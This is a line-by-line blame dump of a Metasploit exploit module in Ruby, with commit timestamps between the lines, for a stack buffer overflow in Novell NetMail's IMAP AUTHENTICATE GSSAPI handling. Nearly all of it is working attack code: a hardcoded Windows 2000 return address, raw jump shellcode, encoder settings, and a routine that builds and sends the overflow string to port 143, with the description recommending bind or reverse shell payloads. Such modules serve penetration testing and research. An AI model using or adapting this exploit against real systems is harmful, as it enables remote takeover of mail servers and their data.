2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2007-02-03 13:11:01 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2007-02-03 13:11:01 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2007-02-03 13:11:01 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-02-03 13:11:01 +00:00
|
|
|
'Name' => 'Novell NetMail <=3.52d IMAP AUTHENTICATE Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP AUTHENTICATE
|
2007-02-03 13:11:01 +00:00
|
|
|
GSSAPI command. By sending an overly long string, an attacker can overwrite the
|
|
|
|
buffer and control program execution. Using the PAYLOAD of windows/shell_bind_tcp
|
2010-04-30 08:40:19 +00:00
|
|
|
or windows/shell_reverse_tcp allows for the most reliable results.
|
2007-02-03 13:11:01 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2007-02-03 13:11:01 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'OSVDB', '55175' ],
|
2007-02-03 13:11:01 +00:00
|
|
|
[ 'URL', 'http://www.w00t-shell.net/#' ],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
2010-04-30 08:40:19 +00:00
|
|
|
},
|
2007-02-03 13:11:01 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 850,
|
|
|
|
'BadChars' => "\x00\x20\x2c\x3a\x40",
|
|
|
|
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
|
2010-04-30 08:40:19 +00:00
|
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
|
2007-02-03 13:11:01 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2007-02-03 13:11:01 +00:00
|
|
|
[
|
|
|
|
[ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 } ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 7 2007',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options( [ Opt::RPORT(143) ], self.class )
|
2007-02-03 13:11:01 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
sock.get_once
|
|
|
|
|
|
|
|
jmp = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
|
|
|
|
jmp << "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
|
|
|
|
jmp << "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"
|
|
|
|
|
|
|
|
sploit = "A001 AUTHENTICATE GSSAPI\r\n"
|
|
|
|
sploit << rand_text_alpha_upper(1258) + payload.encoded + "\xeb\x06"
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit << rand_text_alpha_upper(2) + [target.ret].pack('V')
|
2007-02-03 13:11:01 +00:00
|
|
|
sploit << make_nops(8) + jmp + rand_text_alpha_upper(700)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-02-03 13:11:01 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
sock.put(sploit + "\r\n" + "A002 LOGOUT\r\n")
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|